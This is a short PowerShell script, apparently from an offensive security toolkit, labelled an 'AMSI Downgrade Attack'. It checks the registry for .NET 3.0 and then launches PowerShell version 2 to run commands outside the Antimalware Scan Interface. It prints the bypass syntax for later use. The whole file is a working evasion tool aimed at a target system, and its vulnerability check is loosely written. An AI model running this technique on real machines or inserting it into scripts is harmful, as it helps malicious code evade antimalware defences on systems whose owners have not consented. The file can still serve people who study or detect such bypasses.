AMSI-Downgrade.ps1

#<NULL> Check if Downgrade AMSI attack its available;
Write-Host ""; Write-Host "  AMSI Downgrade Attack (r00t-3xp10it)    " -ForeGroundColor red -BackGroundColor white;
# check if target system its vuln to AMSI downgrade attack;
$store = $PSVersionTable.PSVersion | sort-object major; Write-Host "Latest PS version detected: $store " -ForeGroundColor green -BackGroundColor black; Start-Sleep 2; $v = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version; if ($v -match "3.0") {Write-Host ".NET version detected     : 3.0  (vuln)   " -ForeGroundColor green -BackGroundColor black; Start-Sleep 2}else{Write-Host ".NET version detected its NOT vulnerable  " -ForeGroundColor red -BackGroundColor black; Write-Host "- AMSI downgrade attack its not possible -" -ForeGroundColor red -BackGroundColor black; Start-Sleep 5; exit}; if ($store -match "^5" -Or $store -match "^4" -OR $store -match "^3") {Write-Host "Trying to access powershell v2 process   :" -ForeGroundColor yellow -BackGroundColor black; powershell.exe -Version 2 Get-host; Start-Sleep 2; Write-Host "Executing command under powershell v2     :" -ForeGroundColor red -BackGroundColor black; powershell.exe -Version 2  Get-WmiObject -Class Win32_ComputerSystem; Write-Host "   -Vulnerable to AMSI Downgrade attack-   " -ForeGroundColor red -BackGroundColor black; Write-Host "We can bypass AMSI using the follow syntax:" -ForeGroundColor red -BackGroundColor black; Write-Host "powershell.exe -Version 2 command; command " -ForeGroundColor yellow -BackGroundColor black; Start-Sleep 8}; if ($store -match "^2") {Write-Host "None downgrade bypass available ..      " -ForeGroundColor red -BackGroundColor black; Write-Host "Allready Running in powershell v2       " -ForeGroundColor yellow -BackGroundColor black; powershell.exe Get-host; Start-Sleep 7};